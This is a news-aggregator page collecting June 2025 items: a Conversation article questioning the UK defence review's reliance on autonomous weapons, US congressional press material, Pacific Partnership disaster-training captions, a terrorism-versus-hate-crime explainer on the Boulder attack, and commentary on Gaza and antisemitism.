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Category: Middle East

  • MIL-OSI Global: The UK is gearing up for autonomous warfare – but missing the reality of war today

    Source: The Conversation – UK – By Anthony King, Professor of War Studies, University of Exeter

    The UK is facing a security crisis. Great power competition has returned, and the threat of hostility from Russia, China, Iran and North Korea is increasing. The west can no longer assume military superiority, and the UK can no longer depend unconditionally on the US. The character of war itself is changing as new technology is introduced.

    This is the situation laid out in the latest strategic defence review. The implications for the UK are clear: the country must prepare for high-intensity, protracted war, not counter-insurgency operations like Iraq or Afghanistan.

    In order to address these challenges, the review says, “the UK must pivot to a new way of war.” Nuclear weapons are important here, and will be renewed and expanded. But the recommendations in the review focus on conventional weaponry and, above all, new remote and autonomous technology.

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    The ongoing Ukraine war underpins much of the thinking about the military changes the UK needs to make. That conflict has demonstrated a significant change in the character of 21st-century warfare. Most obviously, it has involved a proliferation of cheap, expendable remote systems, some of which have autonomous capabilities.

    Remote first-person-view drones, and drones controlled by unjammable fibre-optic cables, have become ubiquitous on the frontline – reconnoitring, targeting and striking troops on both sides. They have made conventional strategic manoeuvres at the front almost impossible, while also striking civilian and military targets deep in Russia and Ukraine.

    At sea, uncrewed naval drones have struck Russian shipping and infrastructure in Crimea. The Ukrainian armed forces have also developed a digital battle management system and live-data, AI-enabled targeting system, drawing together information from satellite, open-source, ground-sensor and signal intelligence. This has allowed Ukrainian commanders to see deeply across the battlespace, and target Russian forces with an unprecedented depth and precision.

    As a result of remote systems enabled by digitised targeting, military forces have become exponentially more lethal in close battle – and also in the deep.

    The strategic defence review aims for the UK to incorporate these two elements into its war-fighting capabilities, recommending massive investment in remotely controlled and autonomous systems.

    It calls for the UK to create a “leading, tech-enabled defence power”. Part of this involves integrating UK forces and the construction of a unified “digital targeting web”. This would be fed by sensors from every domain (land, air and sea) so that all forces have access to the same intelligence and a common operating picture. The idea is that a target identified in one domain might be prosecuted by forces in another, to “enhance the Armed Forces’ precision and lethality at scale and reach”.

    In order to achieve this, the review also calls for improved and more innovative relationships between British defence, tech and industry. Once again, a lot has been learnt from Ukraine, whose industrial and tech sectors have been integrated into the war from the start.

    The missing link

    The review’s authors – three external experts led by former defence secretary and Nato chief, Lord Robertson – are correct to highlight the increasing importance of remote (and sometimes autonomous) systems in warfare. They are clear that military forces should increasingly draw on live data, processed by artificial intelligence, to help them understand the battlespace, plan and target. The UK must remain competitive with peer enemies who are developing these capabilities.

    However, even assuming that all of this is affordable at 2.5% of the UK’s GDP from 2027 (a 0.2% rise from where defence spending is now), there is a serious gap in the review’s proposals.

    As a scholar who has studied war in the 21st century, and has just completed a book on AI and war, I believe the document vastly overexaggerates the capability of AI and autonomy. For example, it states:

    In modern warfare, simple metrics such as the number of people and platforms deployed are outdated and inadequate. It is through dynamic networks of crewed, uncrewed, and autonomous assets and data flows that lethality and military effect are now created.

    This analysis presumes that autonomy will be vital in the future, and implies it will displace the need for large numbers of human combatants. In fact, true autonomy is still rare in combat – and will remain so, according to my research.

    Even if autonomous drone swarms appear, they will not eliminate the need for human programmers or operators behind the frontline. AI has limited military functions which require a huge amount of human input.

    Defence secretary John Healey being shown unmanned and autonomous units on a demonstration.
    UK MOD Crown Copyright 2025

    The review prioritises preparedness for protracted inter-state war. But it ignores the blindingly obvious from Ukraine: the imperative of mass.

    The Ukrainian frontline combat forces have expanded to about 300,000 – Ukraine claims its whole force, including allied fighters, is around 1 million. There are about 400,000 Russian combat troops in Ukraine. Casualties have been eye-watering: the Russians have suffered about 800,000 casualties, the Ukrainians nearly 500,000.

    In my view, the strategic defence review has been mesmerised by the prospect of new technology – and, perhaps, by some wishful thinking.

    In 21st-century war, troop mass matters. Fleets of drones and the most sophisticated digital targeting will be irrelevant without human forces willing to fight and to operate them.

    What is the review’s answer to this? While acknowledging that in the cold war, the British fielded forces of 311,000, UK regular armed forces are to remain the same size: 136,000, of which the army will consist of only 73,000 troops and staff.

    The review proposes that active reserves (volunteer, part-time forces) will be increased by 20%, and that the strategic reserve (ex-regulars) “is central to military mobilisation and must be reinvigorated”.

    It is not surprising that the review’s authors have offered such thin solutions to the question of mass. There has been profound resistance from successive governments, Whitehall and civil society to any expansion in the size of British military forces in the UK. But it is doubtful that an expanded reserve and a reinvigorated strategic reserve will be remotely enough for the UK to fight and win a war of any kind in the coming decade.

    Anthony King does not work for, consult, own shares in or receive funding from any company or organisation that would benefit from this article, and has disclosed no relevant affiliations beyond their academic appointment.

    – ref. The UK is gearing up for autonomous warfare – but missing the reality of war today – https://theconversation.com/the-uk-is-gearing-up-for-autonomous-warfare-but-missing-the-reality-of-war-today-258240

    MIL OSI – Global Reports –

    June 7, 2025

  • MIL-OSI USA: Chairman Pfluger Announces Hearing on Rise in Antisemitic, Anti-Israel Terror Attacks on U.S. Soil

    Source: United States House of Representatives – Congressman August Pfluger (TX-11)

    This week, Chairman Pfluger (R-TX) and Chairman Mark E. Green, MD (R-TN) also sent a letter to Department of Homeland Security (DHS) Secretary Kristi Noem requesting the alien file for the suspect, an Egyptian national named Mohamed Sabry Soliman, which will include information on his expired visa, work authorization, and asylum application.

    HEARING DETAILS:

    What: A Subcommittee on Counterterrorism and Intelligence hearing entitled, “The Rise of Anti-Israel Extremist Groups and Their Threat to U.S. National Security”

    When: Wednesday, June 11,at 10:30 AM EDT

    Where:310 Cannon House Office Building

    Watch: Witness testimony will be added here. The hearing will be livestreamed on YouTube and will be open to the public and press. Press must RSVP in advance.

    WITNESSES:

    Kerry Sleeper

    Deputy Director, Intelligence and Information Sharing, Secure Community Network

    Oren Segal

    Senior Vice President, Counter-Extremism and Intelligence, Anti-Defamation League

    Additional witnesses will be announced and are by invitation only.

    BACKGROUND:

    In 2024, Chairmen Pfluger and Green sent a letter to then-DHS Secretary Alejandro Mayorkas and Federal Bureau of Investigation (FBI) Director Christopher Wray, requesting information and documents pertaining to any efforts by DHS and the FBI to assist law enforcement and other partners in response to anti-Semitic, pro-Hamas mobs on college campuses.

    In 2023, the Subcommittee held a roundtable on the growing trend of antisemitism on U.S. college campuses in the aftermath of the October 7 attacks against Israel by Hamas terrorists.

    In October 2024, an illegal alien who had been released into the country under the Biden-Harris administration shot and killed a Jewish man on his way to his Chicago Synagogue.

    In February, Chairman Pfluger introduced the “Generative AI Terrorism Risk Assessment Act,” which would require DHS to conduct annual assessments on terrorism threats to the U.S. posed by terrorist organizations, like ISIS and al Qaeda, utilizing generative artificial intelligence (GenAI) applications for terroristic activity. Chairman Pfluger also reintroduced the “Countering Online Radicalization and Terrorism Act,” legislation requiring DHS to conduct annual assessments on terrorism threats posed to the United States by terrorist organizations like ISIS, al Qaeda, Hamas, Hezbollah, and others, utilizing foreign cloud-based mobile and desktop messaging applications like Telegram.

    MIL OSI USA News –

    June 7, 2025

  • MIL-OSI USA: Chairman Aguilar: ‘We all are going to die’ is the Republican health care plan

    Source: US House of Representatives – Democratic Caucus

    The following text contains opinion that is not, or not necessarily, that of MIL-OSI – June 04, 2025

    WASHINGTON, D.C. — Today, House Democratic Caucus Chair Pete Aguilar and Vice Chair Ted Lieu held a press conference on Republicans telling the American people that “We all are going to die” in response to concerns that the Republican Budget, which will throw millions of Americans off their health insurance, may lead to unnecessary deaths. 

    CHAIRMAN AGUILAR: Good morning. Let me begin by saying our Caucus heard an update on the situation in Boulder, Colorado and the horrendous attack that injured 12 innocent people. Antisemitism has no place in American life. We stand with the Jewish community in this difficult hour and always. 

    Republicans in Congress don’t care if your health care is too expensive. And they don’t care if you can’t afford your medical bills. They voted for what Elon Musk called a “disgusting abomination,” a Republican Budget that throws millions of Americans off of their health insurance. Republicans don’t care that their tariffs are raising your prices across the board and making it harder to make ends meet. They voted to take away food assistance for families, seniors and veterans. And they’ll continue to reward billionaire donors who keep them in office with tax breaks, so they can hold on to power. They’re getting rich off stock trades while working people worry about losing their jobs. When confronted with the truth, they often just lie. Or they show their true colors, like one Republican Senator did, by dismissing concerns that Medicaid cuts might lead to unnecessary deaths as a result of their “disgusting abomination,” kicking millions off their health care. “We all are going to die,” she said. That is the Republican health care plan in a nutshell. And that’s why Republicans can’t be trusted to make health care, or anything else, more affordable for working families. Vice Chair Ted Lieu.

    VICE CHAIR LIEU: Thank you, Chairman Aguilar. I also condemn the horrific terrorist attack in Boulder, Colorado. About a dozen people were burned, some critically, because of a terrorist who threw essentially Molotov cocktails at a group of Jewish Americans. And let me just be clear: Hamas is a genocidal, homicidal, extreme terrorist organization who attacked Israel, not the other way around. And now, Jewish Americans in America are fearing for their safety because of folks who are committing brazen acts of antisemitism. We need to call it out when we see it, and I urge that the person be prosecuted to the fullest extent of law who committed this heinous terrorist attack.

    I’d like to now talk about Senator Joni Ernst’s statement that “we all are going to die.” She is correct that we all are going to die, but it shouldn’t be at the hands of Republican legislation, and the Republicans’ Big Ugly Bill is going to cause unnecessary death. So then, Senator Ernst doubled down on her statement, and did a video of herself walking through a cemetery, again, talking about what she said. And then she ended by citing Jesus. So I’m just a simple Catholic, but let me just tell you I actually read the Gospels, and Jesus goes around healing people. That’s what he does, right? He heals a woman who is blind, heals a person who had leprosy, he heals a person who is paralyzed, 41 acts of healing in the Gospel. That’s what Jesus did in terms of acts. So it’s exactly the opposite of what Senator Ernst is saying. And call me old-fashioned, but I think the goal of government is not to hasten the deaths of Americans, it is to make the lives of Americans better. And clearly, this Big Ugly Bill is not going to do that. And now we see some Republican Members who are opposed to it, because, guess what? They didn’t read the bill. 

    So Marjorie Taylor Greene, yesterday, opposes a provision which is a 10-year moratorium on states regulating artificial intelligence. So I agree with Marjorie Taylor Greene, once every 100 years, this is that time. I agree that this 10-year provision is extreme. It’s going to cause unnecessary harm. And look, I think the federal government is fine doing preemption when we preempt with something. You can’t just preempt with nothing. This is a bad provision, and I hope the Senate will take out this 10-year moratorium.

    Video of the full press conference and Q&A can be viewed here.

    ###

    MIL OSI USA News –

    June 7, 2025

  • MIL-OSI USA: N.C. Division of Parks and Recreation Seeks Public Input on Equine State Trail Master Plan

    Source: US State of North Carolina

    Headline: N.C. Division of Parks and Recreation Seeks Public Input on Equine State Trail Master Plan

    N.C. Division of Parks and Recreation Seeks Public Input on Equine State Trail Master Plan
    jejohnson6
    Fri, 06/06/2025 – 10:18

    The N.C. Department of Natural and Cultural Resources’ Division of Parks and Recreation is seeking input on the Equine State Trail Master Plan. The master plan will be a 20-year plan that identifies a 10-mile-wide corridor for the trail.

    Authorized in 2023 by the General Assembly, the Equine State Trail is the 14th state trail. It is envisioned to be an equestrian trail that loops through eight counties, including Chatham, Cumberland, Harnett, Hoke, Lee, Montgomery, Moore, and Richmond counties. The trail has opportunities to connect Jordan Lake State Recreation Area, Weymouth Woods Sandhills Nature Preserve, Carvers Creek State Park, and Raven Rock State Park, and will offer a variety of equestrian recreation.

    Two public open houses will be held — June 18 at Raven Rock State Park auditorium and June 25 at Weymouth Woods Sandhills Nature Preserve auditorium. Both open houses will be from 5-7 p.m. and attendees can drop in any time. Members of the public are encouraged to attend and can expect to spend about 30 minutes to review, discuss and weigh in on their preferred recreational amenities for the trail.

    Amenities that may be considered for the master plan include the trail surface type, campgrounds, trailheads, recreational user types, and connection opportunities within the eight identified counties.

    An online public survey is available for those who cannot attend the public meetings. Take the survey at: http://www.trails.nc.gov/eqst-survey.

    About North Carolina Division of Parks and Recreation
    The Division of Parks and Recreation manages more than 264,000 acres of iconic landscape within North Carolina’s state parks, state recreation areas and state natural areas. It administers the N.C. Parks and Recreation Trust Fund, including its local grants program, as well as a state trails program, North Carolina Natural and Scenic Rivers and more, all with a mission dedicated to conservation, recreation and education. The state parks system welcomes more than 19 million visitors annually.

    About the North Carolina Department of Natural and Cultural Resources
    The N.C. Department of Natural and Cultural Resources (DNCR) manages, promotes, and enhances the things that people love about North Carolina – its diverse arts and culture, rich history, and spectacular natural areas. Through its programs, the department enhances education, stimulates economic development, improves public health, expands accessibility, and strengthens community resiliency.

    The department manages over 100 locations across the state, including 27 historic sites, seven history museums, two art museums, five science museums, four aquariums, 35 state parks, four recreation areas, dozens of state trails and natural areas, the North Carolina Zoo, the State Library, the State Archives, the N.C. Arts Council, the African American Heritage Commission, the American Indian Heritage Commission, the State Historic Preservation Office, the Office of State Archaeology, the Highway Historical Markers program, the N.C. Land and Water Fund, and the Natural Heritage Program. For more information, please visit www.dncr.nc.gov.
    Jun 5, 2025

    MIL OSI USA News –

    June 7, 2025

  • MIL-OSI Security: The Hawaii National Guard conducts Urban Rescue training during Pacific Partnership 2025 in Virac, Philippines [Image 1 of 4]

    Source: United States Navy (Logistics Group Western Pacific)

    Issued by: on

    VIRAC, Philippines (June 5, 2025) – Hawaii National Guardsmen and personnel from the Armed Forces of the Philippines instruct local emergency responders and civilian authorities on how to breach a simulated collapsed building in Virac, Philippines, June 5, 2025. This effort is part of a two-week urban rescue training exercise supporting the humanitarian assistance and disaster response objectives of Pacific Partnership 2025. Now in its 21st iteration, Pacific Partnership series is the largest annual multinational humanitarian assistance and disaster management preparedness mission conducted in the Indo-Pacific. Pacific Partnership works collaboratively with host and partner nations to enhance regional interoperability and disaster response capabilities, increase security and stability in the region, and foster new and enduring friendships in the Indo-Pacific. (U.S. Navy photo by Mass Communication Specialist 2nd Class Jordan Jennings)

    Date Taken: 06.05.2025
    Date Posted: 06.06.2025 10:13
    Photo ID: 9089135
    VIRIN: 250605-N-YV347-1064
    Resolution: 6823×4549
    Size: 11.44 MB
    Location: VIRAC, PH
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    June 7, 2025

  • MIL-OSI Security: The Hawaii National Guard conducts Urban Rescue training during Pacific Partnership 2025 in Virac, Philippines [Image 3 of 4]

    Source: United States Navy (Logistics Group Western Pacific)

    Issued by: on

    VIRAC, Philippines (June 5, 2025) – Hawaii National Guardsmen and personnel from the
    Armed Forces of the Philippines instruct local emergency responders and civilian authorities on how to perform a controlled descent in Virac, Philippines, June 5, 2025. This effort is part of a two-week urban rescue training exercise supporting the humanitarian assistance and disaster response objectives of Pacific Partnership 2025. Now in its 21st iteration, Pacific Partnership series is the largest annual multinational humanitarian assistance and disaster management preparedness mission conducted in the Indo-Pacific. Pacific Partnership works collaboratively with host and partner nations to enhance regional interoperability and disaster response capabilities, increase security and stability in the region, and foster new and enduring friendships in the Indo-Pacific. (U.S. Navy photo by Mass Communication Specialist 2nd Class Jordan Jennings)

    Date Taken: 06.05.2025
    Date Posted: 06.06.2025 10:13
    Photo ID: 9089138
    VIRIN: 250605-N-YV347-1088
    Resolution: 6893×4595
    Size: 18.91 MB
    Location: VIRAC, PH
    Web Views: 0
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    June 7, 2025

  • MIL-OSI Security: CFE-DM Hosts Humanitarian Assistance Disaster Response Workshop during Pacific Partnership 2025 in Virac, Philippines [Image 1 of 2]

    Source: United States Navy (Logistics Group Western Pacific)

    Issued by: on

    VIRAC, Philippines (June 6, 2025) – Center for Excellence in Disaster Management and Humanitarian Assistance representative Mike Wiley leads a Humanitarian Assistance Disaster Response workshop with Armed Forces of the Philippines personnel, local emergency responders, and civilian authorities in Virac, Philippines, June 6, 2025. This effort is part of a two-week urban rescue training exercise supporting the humanitarian assistance and disaster response objectives of Pacific Partnership 2025. Now in its 21st iteration, Pacific Partnership series is the largest annual multinational humanitarian assistance and disaster management preparedness mission conducted in the Indo-Pacific. Pacific Partnership works collaboratively with host and partner nations to enhance regional interoperability and disaster response capabilities, increase security and stability in the region, and foster new and enduring friendships in the Indo-Pacific. (U.S. Navy photo by Mass Communication Specialist 2nd Class Jordan Jennings)

    Date Taken: 06.06.2025
    Date Posted: 06.06.2025 10:17
    Photo ID: 9089153
    VIRIN: 250606-N-YV347-1013
    Resolution: 8256×5504
    Size: 32 MB
    Location: VIRAC, PH
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    MIL Security OSI –

    June 7, 2025

  • MIL-OSI Security: Pittsburgh Man Sentenced to 10 Years in Prison for Supplying Cocaine to Street Gang

    Source: US FBI

    PITTSBURGH, Pa. – A resident of Pittsburgh, Pennsylvania, has been sentenced in federal court to 120 months of imprisonment, to be followed by eight years of supervised release, on his conviction of violating federal narcotics laws, Acting United States Attorney Troy Rivetti announced today.

    United States District Judge William S. Stickman IV imposed the sentence on Anthony Coker, 48, on June 4, 2025.

    According to information presented to the Court, between July 2022 and June 2023, Coker supplied cocaine and crack cocaine to members of the Drizzy Gang, who then redistributed the drugs in the Hill District neighborhood of Pittsburgh.

    Prior to imposing sentence, Judge Stickman stated that the defendant’s crimes victimized addicts, their families, and the Hill District neighborhood, and encouraged the defendant to turn his life around following his sentence.

    Assistant United States Attorney Katherine C. Jordan prosecuted this case on behalf of the government.

    Acting United States Attorney Rivetti commended the Federal Bureau of Investigation and Pittsburgh Bureau of Police for the investigation leading to the successful prosecution of Coker.

    This prosecution is part of an Organized Crime Drug Enforcement Task Forces (OCDETF) investigation. OCDETF identifies, disrupts, and dismantles the highest-level drug traffickers, money launderers, gangs, and transnational criminal organizations that threaten the United States by using a prosecutor-led, intelligence-driven, multi-agency approach that leverages the strengths of federal, state, and local law enforcement agencies against criminal networks.
     

    MIL Security OSI –

    June 7, 2025

  • MIL-OSI Canada: Premier’s statement on Eid al-Adha

    Premier David Eby has issued the following statement marking Eid al-Adha:

    “Today, Muslims in British Columbia and around the world will gather to celebrate the holiest days in the Muslim calendar.

    “Eid al-Adha, also known as the Feast of the Sacrifice, commemorates the devotion of the Prophet Ibrahim.

    “Muslims will gather to pray at their local mosque, to share meals with loved ones and to provide food to people in need. The values of charity and kindliness are central to the celebration of Eid al-Adha.

    “Eid al-Adha also marks the conclusion of Hajj, the annual pilgrimage made by Muslims to the Holy City of Mecca in Saudi Arabia.

    “This joyous and sacred celebration offers an opportunity for all of us to reflect on how fortunate we are in British Columbia to have diverse and vibrant Muslim communities with connections to every corner of the world. Those communities make tremendous contributions in making our province a better place.

    “To all who celebrate – Eid Mubarak!”

    MIL OSI Canada News –

    June 7, 2025

  • MIL-OSI Security: Pacific Partnership 2025 Kicks off with urban rescue training in Virac, Philippines, June 2, 2025 [Image 9 of 9]

    Source: United States Navy (Logistics Group Western Pacific)

    Issued by: on

    VIRAC, Philippines (June 2, 2025) – Hawaii National Guardsmen and personnel from the
    Armed Forces of the Philippines conduct urban rescue training with local emergency responders and civilian authorities in Virac, Philippines, June 2, 2025. This effort is part of a two-week urban rescue training exercise supporting the humanitarian assistance and disaster response objectives of Pacific Partnership 2025. Now in its 21st iteration, Pacific Partnership series is the largest annual multinational humanitarian assistance and disaster management preparedness mission conducted in the Indo-Pacific. Pacific Partnership works collaboratively with host and partner nations to enhance regional interoperability and disaster response capabilities, increase security and stability in the region, and foster new and enduring friendships in the Indo-Pacific. (U.S. Navy photo by Mass Communication Specialist 2nd Class Jordan Jennings)

    Date Taken: 06.02.2025
    Date Posted: 06.03.2025 20:23
    Photo ID: 9081883
    VIRIN: 250602-N-YV347-2143
    Resolution: 7857×5238
    Size: 28.16 MB
    Location: VIRAC, PH
    Web Views: 31
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    MIL Security OSI –

    June 7, 2025

  • MIL-OSI Global: Was the Boulder attack terrorism or a hate crime? 2 experts unpack the complexities

    Source: The Conversation – USA – By Frederic Lemieux, Professor of the Practice and Faculty Director of the Master’s in Applied Intelligence, Georgetown University

    A woman places flowers outside the Boulder, Colo., courthouse after an attack that injured 12 people. David Zalubowski/AP Photo

    Twelve people in Boulder, Colorado, were injured by a man wielding a makeshift flamethrower and Molotov cocktails on June 1, 2025. Those burned in the attack were taking part in a peaceful, silent walk on Pearl Street, a pedestrian mall, with the aim of raising awareness about Israeli hostages held by Hamas in Gaza.

    The suspect, Mohamed Sabry Soliman, 45, yelled, “Free Palestine,” according to local news reports. Soliman is an Egyptian immigrant who was living in the U.S. illegally after his tourist visa and work authorization both expired.

    On June 3, Soliman’s family, who lived with him in Colorado Springs, were detained by federal immigration authorities. Soliman’s wife and five children were placed in expedited removal proceedings.

    The FBI and local authorities initially said they were investigating a “targeted terror attack”. But Soliman was later charged with hate crimes in federal court. He also faces attempted murder and other charges in state court.

    We study terrorism and hate crimes.

    Whether an attack like the one in Boulder is considered an act of terrorism or a hate crime changes the way a suspect is charged and sentenced.

    Let’s look at how these two terms differ.

    What is a hate crime?

    Hate crimes are crimes motivated by bias on the basis of race, religion, sexual orientation or ethnicity. In some states, gender, age and gender identity are also included. Hate crime laws have been passed by 47 states and the federal government since the 1980s, when activists first began to press state legislatures to recognize the role of bias in violence against minority groups. Today, only Arkansas, South Carolina and Wyoming do not have hate crime laws.

    Colorado’s 2024 statute prohibits bias-motivated attacks based on a wide variety of categories, from ancestry to gender identity.

    In order to be charged as a hate crime, attacks – whether vandalism, assault or killings – must be directed at individuals because of the prohibited biases. Hate crimes, in other words, punish motive; the prosecutor must convince the judge or jury that the victim was targeted because of their race, religion, sexual orientation or other protected characteristic.

    If the defendant is found to have acted with bias motivation, hate crimes often add an additional penalty to the underlying charge. Charging people with a hate crime, then, presents additional layers of complexity to what may otherwise be a straightforward case for prosecutors. Bias motivation can be hard to prove, and prosecutors can be reluctant to take cases that they may not win in court.

    Dylann Roof, who killed nine worshipers at a Black church in South Carolina in 2015, was convicted of 33 charges, including hate crimes.
    Grace Beahm-Pool/Getty Images

    What is terrorism?

    Terrorism is a violent tactic – a strategy used to achieve a specific end.

    This strategy is often used in asymmetric power struggles when a weaker person, or group, is fighting against a powerful nation-state. The violence is aimed at creating fear in the targeted population.

    Terrorists often justify their bloody acts on the basis of perceived social, economic and political unfairness. Or they take inspiration from religious beliefs or spiritual principles.

    Many forms of terrorism were inspired by struggle between races, the rich and poor, or political outcasts and elites.

    How different terrorist groups act is informed by what they are trying to achieve. Some adopt a reactionary perspective aimed at stopping or resisting social, economic and political changes. Others adopt a revolutionary doctrine and want to provoke change.

    In the United States, terrorism attacks were in sharp decline from 1970 to 2011, decreasing from approximately 475 incidents a year to fewer than 20.

    The U.S. government began to take more note of domestic terrorism after the Oklahoma City bombing in 1995. And the number of domestic terrorism incidents began to rise after 2011, with notable increases in the mid-to-late 2010s and early 2020s.

    Data compiled by the Center for Strategic and International Studies shows right-wing terrorist attacks and plots grew substantially during the past decade, with right-wing extremists being responsible for the majority of attacks and plots each year since 2011, except for 2013. There were 44 incidents in 2019 alone.

    The Department of Homeland Security’s 2025 Homeland Threat Assessment indicates that the terrorism threat environment in the United States remains high, driven largely by domestic violent extremists motivated by a mix of racial, religious and anti-government grievances.

    Terrorism is not a successful tactic. American University professor Audrey Cronin studied 457 terrorist groups worldwide going back to 1968. The groups lasted an average of eight years before they lost support or were dismantled. No terrorist organizations that she studied were able to conquer a state, and 94% were unable to achieve even one of their strategic goals.

    Portions of this article originally appeared in articles published on March 19, 2021, and May 23, 2017.

    Read more of our stories about Colorado.

    The authors do not work for, consult, own shares in or receive funding from any company or organization that would benefit from this article, and have disclosed no relevant affiliations beyond their academic appointment.

    – ref. Was the Boulder attack terrorism or a hate crime? 2 experts unpack the complexities – https://theconversation.com/was-the-boulder-attack-terrorism-or-a-hate-crime-2-experts-unpack-the-complexities-258217

    MIL OSI – Global Reports –

    June 7, 2025

  • MIL-OSI Security: NATO Partnership and Cooperative Security Committee visits Jordan

    Source: NATO

    From 2 to 4 June 2025, the NATO Partnership and Cooperative Security Committee (PCSC) travelled to the Hashemite Kingdom of Jordan, for high-level engagements and visits to Jordanian facilities supported by NATO’s Defence Capacity Building (DCB) programme.

    Deputy Prime Minister and Foreign Minister Dr. Ayman Safadi exchanged views with the Committee on regional developments and on strengthening the strategic partnership between Jordan and NATO, including the imminent opening of the NATO Liaison Office in Amman.  The PCSC received updates on NATO-Jordan cooperation at the Headquarters of the Jordanian Armed Forces, the National Center for Security and Crisis Management, and the Women’s Military Training Centre, all of which are supported by NATO’s DCB initiative.

    The visit was the first by the PCSC to Jordan and also celebrated over a decade of NATO’s DCB support to the Kingdom.  It included a meeting with Allied Ambassadors in Amman, hosted by Romania as the NATO Contact Point Embassy.

    MIL Security OSI –

    June 7, 2025

  • MIL-Evening Report: ‘They cannot block us,’ says activist on Madleen flotilla aid ship to Gaza

    Pacific Media Watch

    One of the 12 activists on board the Gaza Freedom Flotilla aid vessel Madleen has posted an update on their progress, saying the mission would not be deterred by Israel’s threats to block them.

    In a video posted to X, Thiago Ávila said the crew, which includes high-profile Swedish climate activist Greta Thunberg, was not intimidated by a message they had received from Israel on Thursday, reports Al Jazeera.

    He said Israeli authorities had said that the Madleen, which is carrying food and medical supplies, would be blocked from entering Gaza — and that if they attempted to deliver them, they would come under attack.

    “It’s important that we understand that [Prime Minister Benjamin] Netanyahu and any other repressive regime throughout history, they actually fear the people, we do not fear them,” he said.

    “We know that this is part of a global uprising much larger than this humble mission of 12 people on a small boat. It will not be through force that they will make a way to defeat us.”

    While crossing international waters in the Central Mediterranean on its way to Gaza yesterday, the Madleen received a mayday call relayed through one of the Frontex drones operated by Europe’s border security agency.

    With no other vessel able to respond, the Madleen diverted to the distressed vessel, where it found 30 to 40 people trapped in a rapidly deflating dinghy.

    While the crew of the Madleen were attempting a rescue of their own, they were approached at speed by a unit of the Libyan Coast Guard, specifically one belonging to the Tareq Bin Zayed brigade, which Al Jazeera has previously reported upon.

    On realising that the approaching vessel belonged to the Libyan Coast Guard, four dinghy passengers jumped into the water and swam to the Madleen, where they were rescued.

    The remainder were taken on board the Libyan Coast Guard’s vessel and presumably returned to Libya.

    It’s the 6th day of our journey onboard the Madleen to #breakthesiege of Gaza and create a people’s humanitarian sea corridor! The Freedom Flotilla Coalition will never stop due to the Zionists threats. We know we have billions of people along with the 12 of us on this boat! pic.twitter.com/FfIDDtVbX7

    — Thiago Ávila | Gaza Freedom Flotilla (@thiagoavilabr) June 6, 2025

    MIL OSI Analysis – EveningReport.nz –

    June 7, 2025

  • MIL-Evening Report: Jeremy Rose: Mister Netanyahu have you no sense of decency?

    Report by Dr David Robie – Café Pacific. –

    COMMENTARY: By Jeremy Rose

    The word antisemitism has become so debased that depending on who is using it I might well take it as a sign that the accused is worth listening to.

    When the World Criminal Court (ICC) issued a warrant for Benjamin Netanyahu’s arrest, he responded by saying the court was being antisemitic. One of the court’s legal advisers was Theodor Meron, a former Israeli ambassador and legal adviser who spent a chunk of his childhood in a Nazi concentration camp.

    Last month, Netanyahu declared the leaders of France, the UK and Canada of fuelling antisemitism.

    Their “crime”? Threatening “concrete action” against Israel if it continues its “egregious” blockade of aid entering Gaza.

    Egregious not genocidal. And the concrete action referred to wasn’t sanctions or a full arms embargo but stalling free trade talks.

    The bitter irony is that with none of those countries having yet imposed a complete ban on arms exports to Israel they are all in a sense fuelling a genocide.

    The Army-McCarthy hearings
    We’re coming up to the 71st anniversary of the Army-McCarthy hearings where an army lawyer, Joseph Welch, rebuked Senator Joseph McCarthy with the famous line: “Have you no sense of decency, sir, at long last?”

    We’ll be waiting a long time for the wanted war criminal Netanyahu to show any decency, but could we be approaching a tipping point where the establishment finally calls off a witch hunt after realising no one is safe from false accusations.

    The McCarthyite red scare, which began in the late 1940s, saw more than 2000 federal workers sacked, thousands of academics, teachers, and union members pressured or forced to resign due to anti-communist policies, and up to 500 Hollywood directors and actors blacklisted for being leftwing or refusing to name names.

    Welch’s rebuke was triggered by none of that. It was McCarthy turning his metaphorical guns onto the military implying he would expose high ranking army personnel that saw the army lawyer return fire.

    The conflating of criticism of Israel with antisemitism has been spectacularly successful in making any criticism of Israel a potentially career ending move. Three Ivy League presidents have been pushed out of their jobs for failing to crack down hard enough on students protesting the brutality of Israel’s ongoing genocide.

    UK Labour leader Jeremy Corbyn, whose popularity had seen the party become the biggest political movement in Europe, was toppled in 2016 after bogus accusations of antisemitism.

    In the purge of the Labour Party that followed Jews were five times more likely to be investigated for antisemitism than goys.

    It’s the same story in Germany where Jews feature prominently among those cancelled for alleged antisemitism. Renowned professor of Jewish studies Peter Schäfe was forced to resign as the director of Berlin’s Jewish Museum after it retweeted a post critical of Germany’s anti-Boycott, Divestment and Sanctions (BDS) resolutions.

    Greece’s former Finance Minister Yanis Varoufakis — not a Jew — has been banned from Germany or even appearing via Zoom for this response, on 8 October 2023, to being asked if he condemned Hamas:

    “I condemn every single atrocity, whomever is the perpetrator or the victim. What I do not condemn is armed resistance to an apartheid system designed as part of a slow-burning, but inexorable, ethnic cleansing programme.
    As a European, it is important to refrain from condemning either the Israelis or the Palestinians when it is us, Europeans, who have caused this never-ending tragedy: after practising rabid anti-Semitism for centuries, leading up to the uniquely vile Holocaust, we have been complicit for decades with the slow genocide of Palestinians, as if two wrongs make one right.”

    That nuanced response, with its acknowledgement of the dreadful legacy of real antisemitism, has not only seen him banned from speaking — in person or virtually — but dropped by his German publisher.

    Antisemitism is often referred to as the oldest hatred — with good reason — but the word itself is relatively recent.

    A ‘scientific’ word for an old hatred
    Nineteenth century German journalist, Wilhelm Marr, popularised the term in a pamphlet the title of which translates as: The way to victory of Germanism over Judaism.

    What distinguished antisemitism from the commonly used Judenhass — or Jewish hate — was the idea that it was a Jew’s race not their religion that was deserving of hate.

    Antisemitism was a prejudice proud to speak its name. It was respectable in a way that religious intolerance wasn’t. Prominent professors and politicians happily declared themselves antisemites and adherents of “scientific racism”.

    It was an old idea dressed up in new clothing. Fifteenth century Spain passed Limpieza de Sangre (cleanliness of blood) statutes to allow discrimination against Jewish and Muslim converts to Christianity.

    The Judeo-Christian civilisational conflict with Islam, often referred to by right-wing supporters of Israel, is a relatively new construct. When the Jews were expelled from Spain, the Ottomans sent ships to take them to new homes in Istanbul, Thessaloniki and Izmer.

    Times change and while it was once possible — even common — to be a respectable antisemite and scientific racist but frowned upon to discriminate based on religious belief, now the reverse is true.

    So-called new atheists like Sam Harris and Richard Dawkins declare all religions bad but Islam worse.

    “Listening to the lovely bells of Winchester, one of our great mediaeval cathedrals. So much nicer than the aggressive sounding “Allahu Akhbar.” Or is that just my cultural upbringing?” Dawkins once tweeted.

